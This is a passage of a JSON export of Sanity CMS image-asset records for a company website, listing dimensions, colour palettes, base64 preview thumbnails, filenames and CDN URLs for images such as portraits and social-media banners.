oreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#746cac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4651ca","foreground":"#fff","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image2-6564a700417c2.png","path":"images/sczeoy4w/production/aadcfacfa41d6e4f9079c33d99755fa369a31ea1-608x869.png","sha1hash":"aadcfacfa41d6e4f9079c33d99755fa369a31ea1","size":32103,"uploadId":"lmMSoxyuYZgSjxe3T2sOj9aQIwyChHn4","url":"https://cdn.sanity.io/images/sczeoy4w/production/aadcfacfa41d6e4f9079c33d99755fa369a31ea1-608x869.png"} {"_createdAt":"2023-11-20T09:43:49Z","_id":"image-cac229be328bd436a347f790ca29faff33e7b8b7-1999x1277-png","_rev":"Arp4NzaYseKQ5hw9dWRZAi","_type":"sanity.imageAsset","_updatedAt":"2023-11-20T09:43:49Z","assetId":"cac229be328bd436a347f790ca29faff33e7b8b7","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5653876272513705,"height":1277,"width":1999},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAACc0lEQVQokV3N2W7aQBgFYL9HlQDeiD22Z7PxGINtloQooerbVCmNREXDvthIDYshbIE+ZzWNelPpXPzn09GMIFntnPGc1VtZvZXRv13dPF3dtLgAXnk0jhntu2g+i8b3HGhlQOtKe/qkfhUsr4+KfVTsIr9neV0VtWXYNtmLxV6A0wFOR7c7CmrnSYeUBk44pOW+xbp58iMHngU7mLJq7NV57HByQ18U/BOXR040tYOJHUxIaaQ7PeD03cqsdDcv3saFaGp5AwV3BBrEbnXuVud2GJveWIZdGfWgP3GixA4TUp4ZbKTgXp4OaBAXqnM7SpA/1ZyhBLsC9BMSzFEpAe5UxsOM0RPhwGQzXJ5bxfjGmYhWPwO6Ch5ZfsJnbKqQYdbsX4OuoDmx7iZaYSbjSdYcXYNhzhwrZKpSLjmLSwYMRThW6UylUwmNP2bXYCjk6VyliUJiGccyiiXIo+BEIYmMEwnFIoxFOJMQRxnHEpp9SM6aCSRIabghQcqPILW8FWBLEqRudetUNjRMob/WCgvjL+LyGvorq7gyvKVKfwl+4xQ1z1HzUmmew8ezU93j8rbUONW+XKqfz8HDO6sfYGnD8f7oN46sfmD1g13ZmV4q+I336PESPf6Ompfg4WxHe8vfsvoxeDiX7t+9uxON9gbbWMUNqx+926NT2ZNwB/2t7q4Ft3Ys3p1YjSsuvxks1d2UhPtC7UCjPfS3mrNWyFJ31yTckXBnFjeas1LIUkILgYQ7O9rh8htgqUqXMl6odGV4/CvA0ry9kvFCQhx1N9ULaZ6uZLQQ4asIXwXDS00vBS5XCfGdhJYy5q/8qzz/1Y/8AZrJ+ESr6x7eAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#48549b","foreground":"#fff","population":2.6,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1c80","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#242c94","foreground":"#fff","population":12.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8c9ec4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0abe9","foreground":"#000","population":1.48,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5364ae","foreground":"#fff","population":0.97,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242c94","foreground":"#fff","population":12.69,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sessions-at-aws.png","path":"images/sczeoy4w/production/cac229be328bd436a347f790ca29faff33e7b8b7-1999x1277.png","sha1hash":"cac229be328bd436a347f790ca29faff33e7b8b7","size":321653,"uploadId":"aZmLXK7eqZPSRzpRmI1OKVlmj0FFMifm","url":"https://cdn.sanity.io/images/sczeoy4w/production/cac229be328bd436a347f790ca29faff33e7b8b7-1999x1277.png"} {"_createdAt":"2023-11-20T09:48:15Z","_id":"image-c4433bcf20b0cff55d6183c47d563f8cf09a96a9-500x500-png","_rev":"00HkATqwml6aoQnrNzG5Qt","_type":"sanity.imageAsset","_updatedAt":"2023-11-20T09:48:15Z","assetId":"c4433bcf20b0cff55d6183c47d563f8cf09a96a9","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":500,"width":500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEcUlEQVQ4jS3PiVLaCADG8TzQznZ2t50eKl6tcguLlkSsClhFIR54oGBt1YqihaIih9xXEo6EHATDFQig1Zl9qJ129wF+//k+4Nznc/v9l7chfzwWyaZTxTxGkyhF+KMhl+c8FI+UOJbrCs2Hbvux133q9Z56wkOr1iiTFApc3Fx7AjdX4VAwEYshmSxeSGLImdtlWjJOquVzc9NOlxNn6eZDV/gfd4V7vlqnS6Us4PH7LoP+m8htOBVP5VGUKFz7r60rC4samVH+9oN0ZHkO8od8tQ7feex1Hrvdx06r2+BqFE2jwGXI7wsHQvFIPJtEiTxG5P1Xbu+WJbtjLjnW4+sLXwzg6dE+xTHCY0/40REe2rxQ46okyxYAXzgYjIVi6Vg2n8FpvEjhmegN/e34yXP8j+eodrh1bZk7cWzmiXzrQWg/CO37VqPFVTjiJw7GbqOpSBpN5QmMYkm6XMrFg9jpQfFgE9uFgxb90fzU8TaMYpl6p8n32nyXrzUrbAVnGAyIZxIpJIkVkRKDV6rlO44uRPwRh9VnMVwYdXZQadPKzzfNOSRZbdWaHb7ZaVQbbLlcpCkUQApIrogQVIHl6Dpf5du1Rj5ddn3G99aT6yaPAXR/hKJfHaUiwjW5ertRb9UqVZpm8iSJAEWqQNCF8h1Z5zmh1xLuW22m2PG7W18d5O5aYtUQ3TYhfg9J42z9jmtW7xoVpkKSVK5UQgCSLVGVEldn293m/VOP77ZILM1+d9aP9ogdOLFmDNpXk9EAzpA0x5SrZeaOIRkcL6E4gQA0xzAcXeO5Vq9dE/gMTlx5vYlDO31ow2xwENZf7VtDkVAURTJ5FKdwgsYLRC5XyOaLGYBtcGydLdfvUJK6CMRgu3N5zea2beU/72R34ZB1ybO/Y//y1Ww72D85DUTCGTSNYOkslkRzKaAqNMt1Lorkdo6/g6Y9MWRR6pb3tnfjR5/SdqtvC95YMcum9AMySAF9NG87LrzeSCKczETTSBxo3ncwit51XqoNWyOapX753IB8ZtZkdZ64Tg8OYJNZPAE9H1b9NfJ3nxiUvDeaNmwXXnc4FognbwH+R8+XQD6sHoxpzUMq4yvx9PMRzTuNHnacbB25lLrF5yPqP4dUL0Yn34ihAZlOARq37fvXN95wNADUet1DT1A5u/F2cvntpGlItdAnmxUp5iaN1hmzbVStfzmmfT0O9Ul0/VLdq7H3A1LtvMni+nYWCF0D5VZ789A9qlkcVn0c11rGQfjd1MrolEkMLkuh5WGVQaSYFyn0Ivl8n3TmxajmxYharTN8Ovx85fsO4FzDbHcNThhESsM4CEum18TQqhiCxZBFDK78ii4MKg0D8vnX4uk/h9V/DCrH1DNW267bew5kqMqS7XRQZRxQzP/C6/95CQRLIMvPIxNGkVzfL5t9OaZ9JlI865cPycGVjU2X+wyIFKiFbefghOGN9MOY1iKZ3hBDa2IQFoNmCWQe1SyJFIZ+6Wyf5Ofm395Ifu+Xi2Tg4urG2YXzXwClgm2g300rAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344455","foreground":"#fff","population":2.72,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#101c2c","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bdbfb8","foreground":"#000","population":3.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bdbfb8","foreground":"#000","population":3.88,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4aba5","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#996b60","foreground":"#fff","population":3.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c2887f","foreground":"#000","population":2.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"francesco-portrait.png","path":"images/sczeoy4w/production/c4433bcf20b0cff55d6183c47d563f8cf09a96a9-500x500.png","sha1hash":"c4433bcf20b0cff55d6183c47d563f8cf09a96a9","size":193115,"uploadId":"ZGJ8sS0Xrg7grrBBio6QtHGzsbVP7nlj","url":"https://cdn.sanity.io/images/sczeoy4w/production/c4433bcf20b0cff55d6183c47d563f8cf09a96a9-500x500.png"} {"_createdAt":"2023-12-15T12:03:21Z","_id":"image-b529ed657a831f9b2904771c853f7a0a9e201699-1200x628-png","_rev":"Do3156plRwIXmiihNwuYdh","_type":"sanity.imageAsset","_updatedAt":"2023-12-15T12:03:21Z","assetId":"b529ed657a831f9b2904771c853f7a0a9e201699","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACKElEQVQokT3S229MUQBG8SMSIkpcgiKalulQRlGtTueiRXgQniRt1TV1TYgSIVo6RntmjOnoZarq8kCoP3PWkuPgYb/+9trZX8DgWhndIQ8SMpaUJ9FJyNN98uKATHToeEImEjLZLsV2eXdElk/L13NS75aZ/TKbkvpxAy6vl4dJeZmRQk4KWXndJ4UemeqTck7DXimdkGpO3ufk41n5OSwrg1I/IeUWqbRJNWHASJOMHZRCvxTyMTiVl/CklPIxWMlL9aTMnpL6Gfl8QVZGZGVIFrol3CVhs0xt+wceklcRlpdXaSlmJeyX6Yy86dZSWt7lpNYv9bPy5aL8GJKfQ7I8ILUOqbTKdLMBVzbKk864sDgQF0ZgaeA/SAS+7ZNqVuZPyafz8v2S/BqWbxdkqU/mUlLdFxVuiAvHe2WiVybTUkjLVFSZk1JGyhmZPiov26TQKpWULGbk82n5mP3zGcwfkZmkAcPr5H6rjHXI4wPyLCXPowtSMnlUil1S7pFSp4zvlOebpbhbaodkoSt+7kwyLpxLGTQG19gYbbZxr0Xu7pTbW2S0SW43yd0mebBJJlqkfFDChBT3SNgms51xWTSZalIWjslS71/w5nYbd3bLrW1yfZ2MBHIlkGuBjK6Sp1ul0iG1Tim3SyUp813yoSfe39zhPxjLWYPGpVVGKMNr5fIaGVkdg1cDufEXfLRBwnapHZZwr7xNxoNeSsvicVnskeWMfMr6GywME7TKfHy5AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#935705","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac57c","foreground":"#000","population":0.97,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.43,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ALL CP.png","path":"images/sczeoy4w/production/b529ed657a831f9b2904771c853f7a0a9e201699-1200x628.png","sha1hash":"b529ed657a831f9b2904771c853f7a0a9e201699","size":185428,"uploadId":"n3qYn2ZDycezKXIydaIxeEo0dYJwAilP","url":"https://cdn.sanity.io/images/sczeoy4w/production/b529ed657a831f9b2904771c853f7a0a9e201699-1200x628.png"} {"_createdAt":"2024-09-17T15:57:42Z","_id":"image-9613a817a5ca02f07b9d364bf7ef649fc19a5572-960x540-png","_rev":"16CRymk0UGIBxNLlKT4MSD","_type":"sanity.imageAsset","_updatedAt":"2024-09-17T15:57:42Z","assetId":"9613a817a5ca02f07b9d364bf7ef649fc19a5572","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCH{54kG~Zo$4ot8j[j=fRWC^=s,03R-oa","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":540,"width":960},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAWJAAAFiQFtaJ36AAADDElEQVQokW2QyU8TcRiG544xwXjT6FGjRksJJkBiC+hBDxqUJcjaKRShBWOVumCBgjqFIhRqbYGKtEBbaAszXWamCxTamXa+X/FkYmJMvGn0b5DFTBOXA4cn75f38OTNh+meWQsmrez5pZX0FTKSrfBR/E23n2/2+Pnm1XW+PkBl6gOU0BAIQoOPhHq3H+qdXqHZtZJp8VPcrUg0Xbka2JRP28IXn+qdR7FFD3PM7U9f8gezlSEWqhwuuK1/JQw+1Av2h3phpm8QRGZ1g2j20QCa0epFYEZPwOD75eydaIK/FqJT13xrCemSmzyOzTm3T62SmUtBBsrpGJKZLEjZ8QCYu53wvUEFP++q4Mf/NHTku28qLdCTNmiPbwqVdJSTBagt6bwrdhrT9m+cs89zRRQNpUw8JyMmkUbRAzt1OOzXKISDw6jDhT1lLyCTBTSJpCCPsHzZ3MJW8aPn8QtYoyoqHbekSsgIlLGJnMxozmnwHsjVKWG3RgH7tYq8+H8O6pTCL+V9gHELqDeSgjzM8mWT1uTlJhUrxZo7WcmENVVM0aiUTezkhQpRiIvC/KJDhLCr7AX4szDM8uVm22ZJyz2mCHsyFD3jcKUlQUYUfpCPTuV68N78wr1aXDioxWG/Fgcx/9554X1A42+gR/xhJMqXLywnpfoXzFnM4YydWF3nJBSNZEx8p8psz7WrdYhs08CXNjV8bdP8o1UNX1u68/lFrYN1y6zQHtvIXKWjXAUZ2pYue6MnMducv9DlTV30UdmKICNUOr1QPTqF+obGEGEYA2LEJIKIYRMyGsYQMUAgo54AgjALfUsr2Wo2zlVR4a0qjy8hcS6uF2JdvbYj/SNJyeh07rrV8aF6wZ1t8gbSqgCV6qLCfGeIEZRkmG8jwxkFFYF2H5ntdK1w9+aXUyrHIt9km0fVpmn+Rv8wU6R9vHAEq2m0F7R2c3K17tODJyOfDVN2ZPT4Eq/XqJglRG/bmHjWTIa3jCJ0DMxrQe6t07MxbX0Xe/1ygjfqDJ8Mat1HbWvXtrwRdxb8Bj8CAvdxls/NAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353a5b","foreground":"#fff","population":0.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a1b5d","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5462c8","foreground":"#fff","population":27.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#94acd0","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7172ed","foreground":"#fff","population":0.19,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a60a5","foreground":"#fff","population":0.58,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5462c8","foreground":"#fff","population":27.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Basket@0.5x.png","path":"images/sczeoy4w/production/9613a817a5ca02f07b9d364bf7ef649fc19a5572-960x540.png","sha1hash":"9613a817a5ca02f07b9d364bf7ef649fc19a5572","size":922843,"uploadId":"6gSkBYgQPRe0uiTcbdgv9ewhRRFoZ8VQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/9613a817a5ca02f07b9d364bf7ef649fc19a5572-960x540.png"} {"_createdAt":"2024-02-20T13:49:03Z","_id":"image-306f2a79c871a7e5735a4726ed4dc2eadb4658e9-1200x628-png","_rev":"ie5WJlLr1SLUBaBgCo2PtY","_type":"sanity.imageAsset","_updatedAt":"2024-02-20T13:49:03Z","assetId":"306f2a79c871a7e5735a4726ed4dc2eadb4658e9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MTS1#B|{EOjF+bS$$$R+aerr;MEkxZn$NH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACLUlEQVQokTXPTU+SAQDAcXRLedHUNEpUDgK+YCIJishLWb7UvJSuTGIa6kRQBF9IHgR8eGjo5rSDrtWpa6c+QN461Dy11Vp9AzcPeayFPf9GWx/gv9/+CsZKuF+Cv4a0h5cBXs2Q87BQTaCEuVIiahJathoKkv5MbP620XK8bPoaq/8RV50nShWMl/KwjLl6xAEO/Rz6eOYlcpWghsVKVusQDfKu5Sxveb/W/To89DwwvDdhPZrRnq2XKXhQRkBLzMyWl+0RtoeRXAhmEi2kzYjX5D3nnxe3v4vOXV9fatYvBWenRm6mRg2fQ1UKHqkJGxAcZNxkvUhecm6yDqQe8k62++R9T+Fg4DhuWxqxTt0bi/r9d92uxy7Du+lLCibVRFpJudjyILoR+4tyrp9cLzk7kkXOd53v2r7EO+J3zAO9jhsOl7PTHHTrPsxU/JcTPWw6SNoQrKTtRTlrI91Byki2Td7pPBXNb+e7oqM94x7b/K22N74rJ7FyBRMaQobic6yVqIFlPesmMt1kLMSbWK1FaEAy/s63n+70fZKGjoTBjwn7SbK+IFxQMFnNipU1K8smYiYWdUT1iL1k7azpiGiI15JuJGeU97oLB+6fB55f+9fPJa38L75IyEi4mWADi3pCWsJaNtpIthO7zJKKlUqe1iDUkdHJUpOca5SzWlIaivGEkskKfGr8KqY1PFEzq2ahinAVYQ3hciJKokpWlayr2FCRUCEoSZazqfwLfUUsHpEgOPUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#422923","foreground":"#fff","population":0.71,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f3c2d","foreground":"#fff","population":0.99,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcc4a8","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbc174","foreground":"#000","population":0.55,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6699ad","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"FinalLiliQuote2.png","path":"images/sczeoy4w/production/306f2a79c871a7e5735a4726ed4dc2eadb4658e9-1200x628.png","sha1hash":"306f2a79c871a7e5735a4726ed4dc2eadb4658e9","size":112816,"uploadId":"nTdyFCTyD2kMP6ZUpzO6qoG2nuRrn1vS","url":"https://cdn.sanity.io/images/sczeoy4w/production/306f2a79c871a7e5735a4726ed4dc2eadb4658e9-1200x628.png"} {"_createdAt":"2023-11-21T13:43:05Z","_id":"image-c1fe7c8e0d4945c1ffdda7582652c8e3166b070c-1200x628-png","_rev":"BjY9n6joNYFLmv1rs0jsqZ","_type":"sanity.imageAsset","_updatedAt":"2023-11-21T13:43:05Z","assetId":"c1fe7c8e0d4945c1ffdda7582652c8e3166b070c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9TNTmzIfi$+l:=JjEf6f+i_hfjGfkendB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAB50lEQVQokVXSX0uTcRjG8fvZM3UUDaaGiNSKzisQCYkI6R+dJLOtucrmmjqbbmZLZ6RbbUEWDoVE6bSDTqJ6A50U9LJ2fWPPs9w8+PE7+3Dd930ZMYMpg/sGCYOkQcrgscETg1mDrMG8oZxB3tCyoRUHrTqoZLBmaN2gbJiHtUFNB1EmjLJhlA56oLrBRYNnhlZDNGsXaNbPo3LfEagWqDaoRADlz6GdGGrcQytn0GzAS6isoW6wEqX5NUvzSwpVT8NLH+uAMUPJXrR5FX2voW9baGsUZVwfnHfRYtAHCz1o7zr6s49+vUeNi1AOHE+oRBA9HUKVa+gwgw5mUGUMLQ2guV6U60X5ECy2dhdCB3fR38/wexd9GkcbPXAMzAyh6gT6OIkaMbQXR7uTqD6OioN+wpyL8kH0Iox2rqCfJfSjgBqX0OsTqOx0gdlhH6zfRLUJtH0HfbiN3oyhwkBnh8WTaDOKti+j/Rvo8BbaHUX1YfSqxxvbu7KSfSgdQZkIykbQQj/Ktf5TMBfsXHm5D60Pos0RVBlBb8+id1FU7Ucbrje2n/D/i7dwQylDjwy1a9N9ZS0FUNFFz11UctGai9YDx6+sKQfFHfTAQdMOeuigGQelHZRxfHChDR4Vu9VH84qtVg/b4D/A0fWdB/5LDQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#262121","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":19.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcd4d4","foreground":"#000","population":0,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbb863","foreground":"#000","population":0.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae7a56","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":19.85,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven x EverSQL social media image orange v2.png","path":"images/sczeoy4w/production/c1fe7c8e0d4945c1ffdda7582652c8e3166b070c-1200x628.png","sha1hash":"c1fe7c8e0d4945c1ffdda7582652c8e3166b070c","size":67677,"uploadId":"JysAotRsEJMiYSfn27V9bilqNu99DIFj","url":"https://cdn.sanity.io/images/sczeoy4w/production/c1fe7c8e0d4945c1ffdda7582652c8e3166b070c-1200x628.png"} {"_createdAt":"2023-11-22T08:19:08Z","_id":"image-6a97679799516cb15d22e134d7ed8d67053c9cdd-1200x628-png","_rev":"e3hWij9e3VWYL3uRgI5tjP","_type":"sanity.imageAsset","_updatedAt":"2023-11-22T08:19:08Z","assetId":"6a97679799516cb15d22e134d7ed8d67053c9cdd","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACnUlEQVQokW3PvVPSAQDGcebqvIt3+SEir5o/BEEQMJUXTRFFBTF7oTRfSovSNJUXQdJUws5raejturprrqWha2lpaGqqpdrq3/h2Ul1Lw7N+7vtIpOoEOtM5Gu1z2Nxp7J4lbO5lrPYl6hsX0VmXqW9apaE5i765gKU5S9yb4sGwm1eTPg7SZW5mPnH2ykc8oZdI5MJpmuyz+APLhCN5+oZKhCIlToaL+IKbeANbtAfu0Hmqgi90D4crT9x7lp1omMeTExysPae4+5351S8EY6+RKOomsHuuEh7IMhi/TeJMmeHxMpGRPXoH9/AFt2j1l2gP7OLqLCO25kl0z7GfusTBQpHi+luKd39wI/+VvrE3SJR1Z2j1pumN5oiOlhhO7jCU2KuCPdHdaqHDt4nDdxvRc4cmR4GB7gU2UtNk54pcX35HrvzzH6j4A/bHNoiNbRFL7jAyfpdYslItDPTvEYxU6O7fp6PnHi2eAi22JF1OH+HOYc5PPSO3/Y1ra58JHV6Wa39f7hnI0TdUJDq6zehEpQr6QyXEthyiu4DoKSG6tzGKK6g0AaTH1TRorVzsv8L9G0/ITL+gK/AQyXF1EkPjJDbXPLa2azi8N2k7uYbLn8FiX0FjXETVsESt8RYac5ZaQxqpsoMjR2UY5Cqy7SLvEx08Ghwn0l5AIlXG0deNYbGkMJ6YQWueQaU/3GXU+quo9NeroNqwQq3pEFxEpg5xrEbApNCy6TTwoU/P01CQQfc6EplyFJM2zglrCrM4i8Y4jVSYRCrMoNDNo/wLHhaasmhM66h0F5CqQ5h1vUw7o1S6oqQ7LuF3biOpUcSRqRIohdModeeRay8gE6aQ183+B8wgWDYQLDkE8yrGxgwee55uVwG3cxer/T6/AIFKff7GFtRMAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4572","foreground":"#fff","population":1.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":7.74,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":7.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5cedb","foreground":"#000","population":7.03,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8089e8","foreground":"#fff","population":6.96,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c5c84","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e05a16","foreground":"#fff","population":3.89,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"MattyNetlifyWorkshop.png","path":"images/sczeoy4w/production/6a97679799516cb15d22e134d7ed8d67053c9cdd-1200x628.png","sha1hash":"6a97679799516cb15d22e134d7ed8d67053c9cdd","size":263791,"uploadId":"n7D2c2oBXZTbiil5dxpE1RUgf8TebYpv","url":"https://cdn.sanity.io/images/sczeoy4w/production/6a97679799516cb15d22e134d7ed8d67053c9cdd-1200x628.png"} {"_createdAt":"2024-03-22T09:08:43Z","_id":"image-15fa9e766b8a2740e38fee6cf9f125629418f1b1-1200x628-png","_rev":"FsdEUX6qPquRWP6V14jAKd","_type":"sanity.imageAsset","_updatedAt":"2024-03-22T09:08:43Z","assetId":"15fa9e766b8a2740e38fee6cf9f125629418f1b1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOOWy[RXs*t7%hrqn,j=W=kD~qr;RjbIRi","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACIElEQVQokT3Sz2+TYADGcf5Xz3rRgwdN9LbDYpaYeFGTTT34s+ugjLcUOljadeu6QsvbF3hhhZdC+dFS0Ll1WwvRejD5XL+n56Em1sKtys4eTdgO4S9I44JIGpEgEQdex5rYuR8VflJO54Xr/+z2RsdyFyJ3OlsmeUm5+tysdfQfst5QjcbAaKiGMDCEoSEMzZaJ0cwmNyRc+dFSVUeV3XdfXm+3AOu6UbxYU0jPOpIl8ehINKUmlpumJP7TxMey3ep4J70pxLntJG2x/nX7Bb319Lz6kdhWOLujlFHGS2Ma6EzdYHiT4Q26bjB1kxWsQ9E6FDZaXV/VHIH+vvfyyefnD0+/vXexHs6XlDrKGkeXNIdoDlVZuHE4ojnEAJ0BOg0QDXSp7apwIgDw6tnjrUcPmE9vbesySu83sSA7NNAPOFSpwUpN22dhhYEVRqvUtAMOgqZ11g9NJ+8p+ofdvTc7O3XQGHvzeFFQQz2X24QTMCdiIFpAtDgRs7zJ8iZoYunE6Q0iZOe29xvipN01pRbsDT0nuI4WJXXpXGv94PRk3D4j52qswFSBaV9L+9p8aKTY/TWJl8Hs3gluFBSfKsGZEiij2PauwnRN+cGtZ84MbaqhBDtXJLgn4YpMV5t54lWUrpO8SLLST+6Mca7hFNmZRa5IuNzEQVz401viL93g1gvXflz+F8zKKC3jRRltFGG6DuarMF3HWRFn5d+T/AHIde4iGDW8kwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c4454","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#14183d","foreground":"#fff","population":0.47,"title":"#fff"},"dominant":{"_type":"